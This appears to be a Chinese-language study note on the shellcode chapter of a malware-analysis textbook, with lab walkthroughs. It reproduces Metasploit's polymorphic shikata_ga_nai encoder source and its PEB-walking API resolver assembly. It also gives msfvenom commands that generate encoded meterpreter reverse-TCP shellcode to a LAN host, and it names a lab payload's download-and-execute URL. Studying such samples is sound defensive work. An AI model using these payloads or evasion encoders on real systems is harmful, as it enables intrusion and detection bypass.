      block = generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)

      # Set the state specific key offset to wherever the XORK ended up.
      state.decoder_key_offset = block.index('XORK')

      # Take the last 1-4 bytes of shikata and prepend them to the buffer
      # that is going to be encoded to make it align on a 4-byte boundary.
      state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf

      # Cache this decoder stub.  The reason we cache the decoder stub is
      # because we need to ensure that the same stub is returned every time
      # for a given encoder state.
      state.decoder_stub = block
    end

    state.decoder_stub
  end

  # Indicate that this module can preserve some registers
  def can_preserve_registers?
    true
  end

  # A list of registers always touched by this encoder
  def modified_registers
    # ESP is assumed and is handled through preserves_stack?
    [
      # The counter register is hardcoded
      Rex::Arch::X86::ECX,
      # These are modified by div and mul operations
      Rex::Arch::X86::EAX, Rex::Arch::X86::EDX
    ]
  end

  # Always blacklist these registers in our block generation
  def block_generator_register_blacklist
    [Rex::Arch::X86::ESP, Rex::Arch::X86::ECX] | saved_registers
  end

protected

  #
  # Returns the set of FPU instructions that can be used for the FPU block of
  # the decoder stub.
  #
  def fpu_instructions
    fpus = []

    0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
    0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
    0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
    0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
    0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }

    fpus << "\xd9\xd0"
    fpus << "\xd9\xe1"
    fpus << "\xd9\xf6"
    fpus << "\xd9\xf7"
    fpus << "\xd9\xe5"

    # This FPU instruction seems to fail consistently on Linux
    #fpus << "\xdb\xe1"

    fpus
  end

  #
  # Returns a polymorphic decoder stub that is capable of decoding a buffer
  # of the supplied length and encodes the last cutoff bytes of itself.
  #
  def generate_shikata_block(state, length, cutoff)
    # Declare logical registers
    count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
    addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')
    key_reg = nil

    if state.context_encoding
      key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
    else
      key_reg = Rex::Poly::LogicalRegister::X86.new('key')
    end

    # Declare individual blocks
    endb = Rex::Poly::SymbolicBlock::End.new

    # Clear the counter register
    clear_register = Rex::Poly::LogicalBlock.new('clear_register',
      "\x31\xc9",  # xor ecx,ecx
      "\x29\xc9",  # sub ecx,ecx
      "\x33\xc9",  # xor ecx,ecx
      "\x2b\xc9")  # sub ecx,ecx

    # Initialize the counter after zeroing it
    init_counter = Rex::Poly::LogicalBlock.new('init_counter')

    # Divide the length by four but ensure that it aligns on a block size
    # boundary (4 byte).
    length += 4 + (4 - (length & 3)) & 3
    length /= 4

    if (length <= 255)
      init_counter.add_perm("\xb1" + [ length ].pack('C'))
    elsif (length <= 65536)
      init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
    else
      init_counter.add_perm("\xb9" + [ length ].pack('V'))
    end

    # Key initialization block
    init_key = nil

    # If using context encoding, we use a mov reg, [addr]
    if state.context_encoding
      init_key = Rex::Poly::LogicalBlock.new('init_key',
        Proc.new { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK'})
    # Otherwise, we do a direct mov reg, val
    else
      init_key = Rex::Poly::LogicalBlock.new('init_key',
        Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK'})
    end

    xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
    add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }

    sub4 = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -4) }
    add4 = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), 4) }

    if (datastore["BufferRegister"])

      buff_reg = Rex::Poly::LogicalRegister::X86.new('buff', datastore["BufferRegister"])
      offset = (datastore["BufferOffset"] ? datastore["BufferOffset"].to_i : 0)
      if ((offset < -255 or offset > 255) and state.badchars.include? "\x00")
        raise EncodingError.new("Can't generate NULL-free decoder with a BufferOffset bigger than one byte")
      end
      mov = Proc.new { |b|
        # mov <buff_reg>, <addr_reg>
        "\x89" + (0xc0 + b.regnum_of(addr_reg) + (8 * b.regnum_of(buff_reg))).chr
      }
      add_offset = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), offset) }
      sub_offset = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -offset) }

      getpc = Rex::Poly::LogicalBlock.new('getpc')
      getpc.add_perm(Proc.new{ |b| mov.call(b) + add_offset.call(b) })
      getpc.add_perm(Proc.new{ |b| mov.call(b) + sub_offset.call(b) })

      # With an offset of less than four, inc is smaller than or the same size as add
      if (offset > 0 and offset < 4)
        getpc.add_perm(Proc.new{ |b| mov.call(b) + inc(b.regnum_of(addr_reg))*offset })
      elsif (offset < 0 and offset > -4)
        getpc.add_perm(Proc.new{ |b| mov.call(b) + dec(b.regnum_of(addr_reg))*(-offset) })
      end

      # NOTE: Adding a perm with possibly different sizes is normally
      # wrong since it will change the SymbolicBlock::End offset during
      # various stages of generation.  In this case, though, offset is
      # constant throughout the whole process, so it isn't a problem.
      getpc.add_perm(Proc.new{ |b|
        if (offset < -255 or offset > 255)
          # lea addr_reg, [buff_reg + DWORD offset]
          # NOTE: This will generate NULL bytes!
          "\x8d" + (0x80 + b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr + [offset].pack('V')
        elsif (offset > -255 and offset != 0 and offset < 255)
          # lea addr_reg, [buff_reg + byte offset]
          "\x8d" + (0x40 + b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr + [offset].pack('c')
        else
          # lea addr_reg, [buff_reg]
          "\x8d" + (b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr
        end
      })

      # BufferReg+BufferOffset points right at the beginning of our
      # buffer, so in contrast to the fnstenv technique, we don't have to
      # sub off any other offsets.
      xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') }
      xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') }
      add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') }
      add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') }

    else
      # FPU blocks
      fpu = Rex::Poly::LogicalBlock.new('fpu',
        *fpu_instructions)

      fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
        "\xd9\x74\x24\xf4")
      fnstenv.depends_on(fpu)

      # Get EIP off the stack
      getpc = Rex::Poly::LogicalBlock.new('getpc',
        Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
      getpc.depends_on(fnstenv)

      # Subtract the offset of the fpu instruction since that's where eip points after fnstenv
      xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
      xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
      add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
      add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
    end

    # Decoder loop block
    loop_block = Rex::Poly::LogicalBlock.new('loop_block')

    loop_block.add_perm(
      Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
      Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
      Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
      Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
      Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
      Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })

    # Loop instruction block
    loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
      "\xe2\xf5")
      # In the current implementation the loop block is a constant size,
      # so really no need for a fancy calculation.  Nevertheless, here's
      # one way to do it:
      #Proc.new { |b|
      # # loop <loop_block label>
      # # -2 to account for the size of this instruction
      # "\xe2" + [ -2 - b.size_of(loop_block) ].pack('c')
      #})

    # Define block dependencies
    clear_register.depends_on(getpc)
    init_counter.depends_on(clear_register)
    loop_block.depends_on(init_counter, init_key)
    loop_inst.depends_on(loop_block)

    begin
      # Generate a permutation saving the ECX, ESP, and user defined registers
      loop_inst.generate(block_generator_register_blacklist, nil, state.badchars)
    rescue RuntimeError, EncodingError => e
      # The Rex::Poly block generator can raise RuntimeError variants
      raise EncodingError, e.to_s
    end
  end

  # Convert the SaveRegisters to an array of x86 register constants
  def saved_registers
    Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
  end

  def sub_immediate(regnum, imm)
    return "" if imm.nil? or imm == 0
    if imm > 255 or imm < -255
      "\x81" + (0xe8 + regnum).chr + [imm].pack('V')
    else
      "\x83" + (0xe8 + regnum).chr + [imm].pack('c')
    end
  end
  def add_immediate(regnum, imm)
    return "" if imm.nil? or imm == 0
    if imm > 255 or imm < -255
      "\x81" + (0xc0 + regnum).chr + [imm].pack('V')
    else
      "\x83" + (0xc0 + regnum).chr + [imm].pack('c')
    end
  end
  def inc(regnum)
    [0x40 + regnum].pack('C')
  end
  def dec(regnum)
    [0x48 + regnum].pack('C')
  end
end
fpu4.png

可以生成shellcode进行调试

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.128 LPORT=8888 -e x86/shikata_ga_nai -f raw -o re_shell_shikata2.bin

手动符号解析

shellcode经常使用LoadLibraryAGetProcAddress函数来动态定位和加载函数,LoadLibraryA加载指定的库,并返回一个句柄。GetProcAddress函数在库的导出表中查找给定的符号名或序号。如果shellcode有这两个函数的访问权限,它可以加载任何库到系统中并找到导出符号,这时它就可以完整地访问API了。

两个函数都是从kernel32.dll中导出的,所以shellcode必须做如下事情:

  • 在内存中找到kernel32.dll.

  • 解析kernel32.dll的PE文件,并搜索导出函数LoadLibraryAGetProcAddress

参考资料

1、重要结构体神图

shen.jpg

2、VergiliusProject结构体查询网站 https://www.vergiliusproject.com/kernels

3、微软未公开数据 http://undocumented.ntinternals.net/

在内存中找到kernel32.dll

要找到kernel32.dll的基地址,我们需要跟踪图19-1所示的一些数据结构(在每一个结构体中只显示了相关域与偏移值。

teb1.png

进程从TEB结构体开始,其地址可以从FS段寄存器中访问到。TEB中偏移0x30是指向PEB的指针。PEB中偏移0xc是指向PEB_LDR_DATA结构体的指针,它是包含三个链接LDR_DATA_TABLE结构的双向链表——每个被加载的模块都有一个。在kernel32.dll项中的DllBase域就是我们正在查找的值。

peb2.jpg

可以看到这是一个以PEB_LDR_DATA为起点的一个闭合环形双向链表。

每个_LDR_DATA_TABLE_ENTRY节点结构中偏移为0x30处的成员为dllName,偏移为0x18处的成员为DllBase

通过遍历链表,比较dllName字符串内容可以找到目标模块的所属节点。

通过节点成员DllBase可以定位该模块的DOS头起始处。通过对PE结构的解析可以搜索导出表,从而可以取到指定的导出函数地址。

findkernel32base.png

metasploit中也利用了相似手法。

Link:https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x86/src/block/block_api.asm

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: NT4 and newer
; Architecture: x86
; Size: 140 bytes
;-----------------------------------------------------------------------------;

[BITS 32]

; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.

api_call:
  pushad                     ; We preserve all the registers for the caller, bar EAX and ECX.
  mov ebp, esp               ; Create a new stack frame
  xor edx, edx               ; Zero EDX
  mov edx, [fs:edx+0x30]     ; Get a pointer to the PEB
  mov edx, [edx+0xc]         ; Get PEB->Ldr
  mov edx, [edx+0x14]        ; Get the first module from the InMemoryOrder module list
next_mod:                    ;
  mov esi, [edx+0x28]        ; Get pointer to modules name (unicode string)
  movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
  xor edi, edi               ; Clear EDI which will store the hash of the module name
loop_modname:                ;
  xor eax, eax               ; Clear EAX
  lodsb                      ; Read in the next byte of the name
  cmp al, 'a'                ; Some versions of Windows use lower case module names
  jl not_lowercase           ;
  sub al, 0x20               ; If so normalise to uppercase
not_lowercase:               ;
  ror edi, 0xd               ; Rotate right our hash value
  add edi, eax               ; Add the next byte of the name
  dec ecx
  jnz loop_modname           ; Loop until we have read enough
  ; We now have the module hash computed
  push edx                   ; Save the current position in the module list for later
  push edi                   ; Save the current module hash for later
  ; Proceed to iterate the export address table,
  mov edx, [edx+0x10]        ; Get this modules base address
  mov eax, [edx+0x3c]        ; Get PE header
  add eax, edx               ; Add the modules base address
  mov eax, [eax+0x78]        ; Get export tables RVA
  test eax, eax              ; Test if no export address table is present
  jz get_next_mod1           ; If no EAT present, process the next module
  add eax, edx               ; Add the modules base address
  push eax                   ; Save the current modules EAT
  mov ecx, [eax+0x18]        ; Get the number of function names
  mov ebx, [eax+0x20]        ; Get the rva of the function names
  add ebx, edx               ; Add the modules base address
  ; Computing the module hash + function hash
get_next_func:               ;
  test ecx, ecx              ; Changed from jecxz to accomodate the larger offset produced by random jmps below
  jz get_next_mod            ; When we reach the start of the EAT (we search backwards), process the next module
  dec ecx                    ; Decrement the function name counter
  mov esi, [ebx+ecx*4]       ; Get rva of next module name
  add esi, edx               ; Add the modules base address
  xor edi, edi               ; Clear EDI which will store the hash of the function name
  ; And compare it to the one we want
loop_funcname:               ;
  xor eax, eax               ; Clear EAX
  lodsb                      ; Read in the next byte of the ASCII function name
  ror edi, 0xd               ; Rotate right our hash value
  add edi, eax               ; Add the next byte of the name
  cmp al, ah                 ; Compare AL (the next byte from the name) to AH (null)
  jne loop_funcname          ; If we have not reached the null terminator, continue
  add edi, [ebp-8]           ; Add the current module hash to the function hash
  cmp edi, [ebp+0x24]        ; Compare the hash to the one we are searchnig for
  jnz get_next_func          ; Go compute the next function hash if we have not found it
  ; If found, fix up stack, call the function and then value else compute the next one...
  pop eax                    ; Restore the current modules EAT
  mov ebx, [eax+0x24]        ; Get the ordinal table rva
  add ebx, edx               ; Add the modules base address
  mov cx, [ebx+2*ecx]        ; Get the desired functions ordinal
  mov ebx, [eax+0x1c]        ; Get the function addresses table rva
  add ebx, edx               ; Add the modules base address
  mov eax, [ebx+4*ecx]       ; Get the desired functions RVA
  add eax, edx               ; Add the modules base address to get the functions actual VA
  ; We now fix up the stack and perform the call to the desired function...
finish:
  mov [esp+0x24], eax        ; Overwrite the old EAX value with the desired api address for the upcoming popad
  pop ebx                    ; Clear off the current modules hash
  pop ebx                    ; Clear off the current position in the module list
  popad                      ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
  pop ecx                    ; Pop off the origional return address our caller will have pushed
  pop edx                    ; Pop off the hash value our caller will have pushed
  push ecx                   ; Push back the correct return value
  jmp eax                    ; Jump into the required function
  ; We now automagically return to the correct caller...
get_next_mod:                ;
  pop eax                    ; Pop off the current (now the previous) modules EAT
get_next_mod1:               ;
  pop edi                    ; Pop off the current (now the previous) modules hash
  pop edx                    ; Restore our position in the module list
  mov edx, [edx]             ; Get the next module
  jmp next_mod               ; Process this module
Footer

可以使用msfvenom生成shellcode查看真实病毒中shellcode实现

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.128 LPORT=8888 -f raw -o re_shell.bin
rs_sc.png

使用散列过的导出符号名

如何找到我们想要的指定函数呢?我们可以解决这个问题的方法是计算出每个符号字符串的散列值,并用这个结果与保存在shellcode中的预先计算的值进行比较。散列函数不需要很复杂;只需要保证在每个被shellcode使用的DLL中,这些散列值是独一无二的就可以了。在不同DLL的符号之间及shellcode不使用的符号之间的散列冲突是可以接受的。

最常用的散列函数是32位旋转向右累加散。

hashstring.png

同样贴出此手法在metasploit中实现

Link:https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x86/src/block/block_api.asm

ror.png

Shellcode编码

真实环境中如果要利用shellcode必然要对shellcode进行一定的编码处理。例如,如果一个程序正在对输入数据执行一些基本的过滤,那么这个shellocde必须绕过这个过滤。这意味着shellcode通常必须看起来像是合法数据,这样才能被一个脆弱程序所接受。

如果一个程序使用了strcpy和strcat,而我们想要利用程序漏洞读取或者复制恶意负载到指定的缓冲区时,我们的shellcode中就不能有NULL(0x00)这样会导致我们的数据被截断。

而且程序可能对shellcode必须传递给它的数据执行额外的正确性检查:

  • 所有字节都是可打印的(小于0x80)ASCII字节。
  • 所有字节都是字母数字组合的(A到Z,a到z,或0到9)。

下面是常用的编码技术:

  • 用常量字节掩码来XOR所有载荷字节。记住对所有拥有同样大小的值a、b,都有(a XOR b)XOR b == a
  • 使用一种字母变换,有效载荷的每个字节被分割成两个4比特,然后与一个可打印的ASCII字符(比如A或a)相加。

shellcode编码对攻击者来说有额外的好处,主要体现在他们可以通过隐藏诸如URL或IP地址之类的人类可读的字符串,使分析更困难。(我们使用简单的strings命令就可以得到恶意样本的可读字符串)此外,编码还可以帮助shellcode躲避网络入侵检测系统。

可以使用msfvenom的编码器来进行编码,很多编码器都是使用xor加密

┌──(root💀kali)-[/home/kali]
└─# msfvenom -l encoder             

Framework Encoders [--encoder <value>]
======================================

    Name                       Rank       Description
    ----                       ----       -----------
    cmd/brace                  low        Bash Brace Expansion Command Encoder
    cmd/echo                   good       Echo Command Encoder
    cmd/generic_sh             manual     Generic Shell Variable Substitution Command
                                           Encoder
    cmd/ifs                    low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                   normal     Perl Command Encoder
    cmd/powershell_base64      excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq          manual     printf(1) via PHP magic_quotes Utility Comm
                                          and Encoder
    generic/eicar              manual     The EICAR Encoder
    generic/none               normal     The "none" Encoder
    mipsbe/byte_xori           normal     Byte XORi Encoder
    mipsbe/longxor             normal     XOR Encoder
    mipsle/byte_xori           normal     Byte XORi Encoder
    mipsle/longxor             normal     XOR Encoder
    php/base64                 great      PHP Base64 Encoder
    ppc/longxor                normal     PPC LongXOR Encoder
    ppc/longxor_tag            normal     PPC LongXOR Encoder
    ruby/base64                great      Ruby Base64 Encoder
    sparc/longxor_tag          normal     SPARC DWORD XOR Encoder
    x64/xor                    normal     XOR Encoder
    x64/xor_context            normal     Hostname-based Context Keyed Payload Encode
                                          r
    x64/xor_dynamic            normal     Dynamic key XOR Encoder
    x64/zutto_dekiru           manual     Zutto Dekiru
    x86/add_sub                manual     Add/Sub Encoder
    x86/alpha_mixed            low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper            low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolo  manual     Avoid underscore/tolower
    wer
    x86/avoid_utf8_tolower     manual     Avoid UTF8/tolower
    x86/bloxor                 manual     BloXor - A Metamorphic Block Based XOR Enco
                                          der
    x86/bmp_polyglot           manual     BMP Polyglot
    x86/call4_dword_xor        normal     Call+4 Dword XOR Encoder
    x86/context_cpuid          manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat           manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time           manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown              normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov            normal     Variable-length Fnstenv/mov Dword XOR Encod
                                          er
    x86/jmp_call_additive      normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha               low        Non-Alpha Encoder
    x86/nonupper               low        Non-Upper Encoder
    x86/opt_sub                manual     Sub Encoder (optimised)
    x86/service                manual     Register Service
    x86/shikata_ga_nai         excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit      manual     Single Static Bit
    x86/unicode_mixed          manual     Alpha2 Alphanumeric Unicode Mixedcase Encod
                                          er
    x86/unicode_upper          manual     Alpha2 Alphanumeric Unicode Uppercase Encod
                                          er
    x86/xor_dynamic            normal     Dynamic key XOR Encoder

空指令雪橇

一个空指令雪橇(NOP sled)(也被称为空指令滑行区)是在shellcode之前的一段很长的指令序列,如图19-3所示。空指令雪橇并不是shellcode所必需的,但是它们经常被包含到一次漏洞利用中,以增加这个漏洞利用成功的可能性。shellcode编写者往往可以通过在shellcode后创建一大段空指令雪橇实现这一点。只要代码执行到这个空指令雪橇中的某处,shellcode最终都会运行。

sled.png

传统的空指令雪橇由一长段NOP (0x90)指令序列组成,但是漏洞利用的编写者会用很多创新来避免检测。其他常用的空指令操作码在0x400x4f范围内。这些操作码是单字节指令,用于对通用寄存器的递增或递减。这个操作码字节范围也包含了可打印ASCII字符。这通常是有用的,因为空指令雪橇在解码器运行之前执行,所以它必须与shellcode的其余部分一样通过过滤。

找到shellcode

在Javascript中

JavaScript中常使用unescape函数经常被用来将编码过的shellcode转换为可执行的二进制代码

unescape的编码方式会将文本%uXXYY视作一个编码后大端Unicode字符,这里的XXYY是十六进制值。在小端的机器(比如x86)上,字节序YY XX是被解码后的结果。例如,考虑如下文本字符串:

unes.png

一个后面没有紧跟字母u的%符号,会被作为一个单独编码后的十六进制字节对待。例如,文本字符串%41%42%43%44会被解码为二进制字节序列41 4243 44

提示:单字节与双字节字符编码可以被同时用在同一个文本字符串中。这在使用JavaScript语言的地方(包括PDF文档中)是非常普遍的编码混淆技术。

在进程注入中

在分析进程注入类恶意代码时,如果恶意代码启动一个远程线程,但是没有英语重定位修正或解除外部依赖,那么被写入其他进程的缓冲区的数据很可能是一段shellcode

Tips:进程注入关键函数如下

VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

重要的操作码

有时候寻找shellcode可能不会很顺利,但是可以定位到shellcode之前的解码器,可以搜素以下的重要操作码

imp_opcode.png

实验部分

Lab 19-1

使用shellcode_launcher.exe,分析文件Lab19-01.bin。

  • 1、这段shellcode是如何编码的?

  • 2、这段shellcode手动导入了哪个函数?

  • 3、这段shellcode和哪个网络主机通信?

  • 4、这段shellcode在文件系统上留下了什么迹象?

  • 5、这段shellcode做了什么?

使用scdbg来运行shellcode

scdbg.exe -r -f C:\Users\doinb\Desktop\BinaryCollection\Chapter_19L\Lab19-01.bin
scdbg.png

手动导入了六个函数

  • LoadLibraryA()
  • GetSystemDirectoryA()
  • URLDownloadToFile()
  • GetCurrentProcess()
  • TerminateProcess()

shellcode下载http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe,并保存在c:\WINDOWS\system32\1.exe,继而执行该文件

可以使用软件加载shellcode进行分析

jmp2it:https://github.com/adamkramer/jmp2it

This will allow you to transfer EIP control to a specified offset within a file containing shellcode and then pause to support a malware analysis investigation

The file will be mapped to memory and maintain a handle, allowing shellcode to egghunt for second stage payload as would have happened in original loader

Patches / self modifications are dynamically written to jmp2it-flypaper.out

Usage: jmp2it.exe [file containing shellcode] [file offset to transfer EIP to]

Example: jmp2it.exe malware.doc 0x15C

Explaination: The file will be mapped and code at 0x15C will immediately run

Example: jmp2it.exe malware.doc 0x15C pause

Explaination: As above, with JMP SHORT 0xFE inserted pre-offset causing loop

Example: jmp2it.exe malware.doc 0x15C addhandle another.doc pause

Explaination: As above, but will create additional handle to specified file

Optional extras (to be added after first two parameters):

addhandle [path to file] - Create an arbatory handle to a specified file

Only one of the following two may be used:

pause - Inserts JMP SHORT 0xFE just before offset causing infinite loop

pause_int3 - Inserts INT3 just before offset [launch via debugger!]

Note: In these cases, you will be presented with step by step instructions on what you need to do inside a debugger to resume the analysis
jmp2it.exe C:\Users\doinb\Desktop\BinaryCollection\Chapter_19L\Lab19-01.bin 0x0 pause

在解码完成后就进入解码后的攻击payload,在0x224偏移处

0x224.png

0x2bf位置使用call/pop将url地址放在ebx寄存器

ebx.png

可以看到0x29E处函数通过PEB找对应目标函数。

findkernel32.png

更详细的手工分析不再进行,可以使用scdbg将运行时内存dump下来,分析更方便

scdbg.exe /f C:\Users\doinb\Desktop\BinaryCollection\Chapter_19L\Lab19-01.bin -r -d

可以看到自动分析出了自编码技术,并且dump成功。

11111.png

Lab 19-2

文件Lab19-02.exe包含一段shellcode,这段shellcode会被注入到另外一个进程并运行,请分析这个文件。

  • 1、这段shellcode被注入到什么进程中?

  • 2、这段shellcode位于哪里?

  • 3、这段shellcode是如何被编码的?

  • 4、这段shellcode手动导入了哪个函数?

  • 5、这段shellcode和什么网络主机进行通信?

  • 6、这段shellcode做了什么?

直接运行Lab19-02.exe发现打印了进程信息,并且打开了浏览器。

19-02.png

操作了注册表,该注册表值是默认的浏览器

hkcr.png ie.png

Ida中分析此恶意文件为进程注入,shellcode0x407030,shellcode经过了编码,可以在X32dbg中打开,F9后,将EIP改为shellcode入口点0x403070

eippp.png

3b到3e这三行循环解码

encode.png

使用脚本dump出解密后的shellcode

import idc

def main():
    begin = 0x407048;
    size = 0x18f
    list = []
    for i in range(size):
        byte_tmp = idc.Byte(begin + i)
        list.append(byte_tmp ^ 0xe7)
        if (i + 1) % 0x1000 == 0:
            print("All count:{}, collect current:{}, has finish {}".format(hex(size), hex(i + 1), float(i + 1) / size))
    print('collect over')
    file = "lab19-02.bin"
    buf = bytearray(list)
    with open(file, 'wb') as fw:
        fw.write(buf)
    print('write over')

if __name__=='__main__':
    main()

分析发现是一个反弹shell,host和端口如下,原始图片忘记截图了,可以将host改成自己的ip,监听13330端口,等待反弹shell回连。

rv_shell.png huilian.png

Lab 19-3

分析文件Lab19-03.pdf。如果你被卡住了,并且无法找到这段shellcode,那就跳过这个实验的前半部分,使用shellcode_launcher.exe工具分析文件Lab19-03_sc.bin.

  • 1、这个PDF中使用了什么漏洞?

  • 2、这段shellcode是如何编码的?

  • 3、这段shellcode手动导入了哪个函数?

  • 4、这段shellcode在文件系统上留下了什么迹象?

  • 5、这段shellcode做了什么?

相关文章

网友评论

      本文标题:恶意代码分析实战 第十九章 shellcode

      本文链接:https://www.haomeiwen.com/subject/isqyortx.html